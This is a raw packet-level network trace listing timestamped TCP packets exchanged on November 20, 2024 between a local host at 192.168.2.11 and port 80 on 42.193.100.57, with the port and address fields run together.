        Nov 20, 2024 09:14:48.035235882 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035309076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035326004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035339117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035351038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035351038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035365105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035367966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035377979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035383940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035434008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035461903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035474062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035485029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035495996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035507917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035510063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035522938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035530090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035535097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035556078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035582066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035614014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035624981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035634995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035645962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035654068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035657883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035665989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035670042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035681963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.035702944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035727978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139380932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139394045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139414072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139425993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139436960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139452934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139477968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139491081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139499903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139502048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139520884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139548063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139586926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139599085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139611006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139621973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139626980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139653921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139664888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139667034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139693975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139698982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139704943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139710903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139738083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139745951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139754057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139766932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139779091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139789104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139792919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139801979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139827967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139836073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139892101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139903069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139914036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139925003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.139950991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.139965057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140022993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140034914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140045881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140057087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140064955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140078068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140110970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140120983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140131950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140141964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140153885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140157938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140180111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140182018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140191078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140202999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140209913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140214920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140228987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140244007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140284061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140311956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140325069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140336037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140346050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140353918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140358925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140383959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140408993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140434027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140445948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140455961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140466928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140477896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140479088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140491962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140502930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140513897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140547991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140573978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140587091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140597105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140607119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140613079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140634060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140635014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140649080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140660048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140661955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140681982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140692949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140717030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140827894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140840054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140851021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140865088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140877008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140888929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140899897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140911102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140922070 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140930891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140954018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.140985966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.140999079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141010046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141021013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141026974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141031981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141047001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141047955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141062975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141074896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141074896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141088009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141088009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141105890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141115904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141145945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141225100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141236067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141247034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141258001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141262054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141269922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141283035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141287088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141311884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141335964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141367912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141386032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141396999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141407967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141407967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141419888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141431093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141433954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141443014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141455889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141465902 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141468048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141480923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141485929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141509056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141594887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141686916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141697884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141709089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141720057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141725063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141731024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141745090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141756058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141757965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141767979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141779900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141789913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141793966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141815901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141819954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141853094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141853094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141895056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.141976118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141988039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.141999006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142009974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142020941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142031908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142040014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.142044067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142055988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142066002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142066956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.142079115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142095089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.142126083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.142162085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142174006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142184019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142195940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142200947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.142209053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.142230988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.142254114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228415966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228431940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228444099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228471041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228492022 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228543997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228555918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228566885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228576899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228584051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228610039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228638887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228682041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228693962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228703022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228708982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228719950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228725910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228730917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228756905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228787899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228888035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228899956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228910923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228919983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228924036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228931904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228950977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228961945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228962898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.228976011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228987932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.228992939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229001045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229005098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229037046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229048014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229147911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229159117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229170084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229181051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229185104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229207039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229216099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229218960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229258060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229288101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229300022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229310989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229322910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229327917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229335070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229343891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229378939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229484081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229521990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229609966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229621887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229635000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229645967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229650021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229665041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229692936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229762077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229773998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229784966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229795933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229799986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229813099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229820013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229846001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229932070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229944944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229955912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229968071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229974031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.229979038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229991913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.229996920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230003119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230015039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230025053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230045080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230072021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230107069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230125904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230150938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230174065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230299950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230312109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230323076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230334044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230341911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230345011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230356932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230365038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230393887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230444908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230457067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230483055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230508089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230607033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230618954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230634928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230645895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230655909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230665922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230667114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230679989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230691910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230700970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230725050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230736017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230902910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230915070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230926037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230937004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230947018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230947971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230958939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230967045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.230971098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230983973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.230994940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231003046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231004953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231024027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231035948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231036901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231070042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231244087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231255054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231296062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231400967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231412888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231422901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231435061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231445074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231451035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231487036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231558084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231570005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231580973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231591940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231602907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231610060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231614113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231626987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231647015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231673956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231704950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231715918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231746912 CET4970180192.168.2.1142.193.100.57
